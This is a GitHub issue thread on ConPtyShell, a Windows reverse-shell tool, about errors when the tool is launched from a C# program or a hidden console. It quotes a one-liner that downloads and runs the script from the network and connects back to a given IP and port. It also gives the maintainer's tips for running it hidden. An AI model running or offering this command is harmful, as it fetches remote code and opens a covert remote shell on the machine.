antonioCoco / ConPtyShell

ConPtyShell - Fully Interactive Reverse Shell for Windows
MIT License
952 stars 158 forks source link

Powershell script execution via C# Program & with hidden console #2

Closed Cli3nt closed 4 years ago

Cli3nt commented 4 years ago

If The commands ""IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 192.168.5.11 443" get executed via C# Program (Process object, which is executing powershell.exe with arguments), I get an AccessViolationException.

Also, if this script gets ran with hidden console, it doesn't work.

Error: Exception calling "ConPtyShellMain" with "1" argument(s): "Could not get console mode".

Is there a way to alter the script to work around this?

antonioCoco commented 4 years ago

I'm aware of a bug when the caller process does not have an associated console and you can't get the console mode. I already have a fix for that and i will publish it in the next release, asap. Anyway the ConPtyShell works if the console is in hidden mode, i.e. running powershell.exe -WindowStyle Hidden, because the console is associated with the process also if it's not showed on the active desktop and it is used to instantiate the ConPty console. If you want to give a try before the release: the fix is inside the if in the GetConsoleMode() branch and it should be added the code to attach a console and hide it, it's just 2 win32 api call: AllocConsole() and ShowWindow(GetConsoleWindow(), SW_HIDE)

Could you please share the c# code that raise the AccessViolationException?

Thanks for the feedback!

Cli3nt commented 4 years ago

Thanks for your fast reply!

Well, I don't really understand what I have to do for the fix. Please find the C# and the AccessViolationException: screenshot

https://pastebin.com/9V1WH508

Thanks for your good work!

gerardog commented 4 years ago

@Cli3nt which windows version do you have?

Cli3nt commented 4 years ago

OS Name: Microsoft Windows 10 Home OS Version: 10.0.18362 N/A Build 18362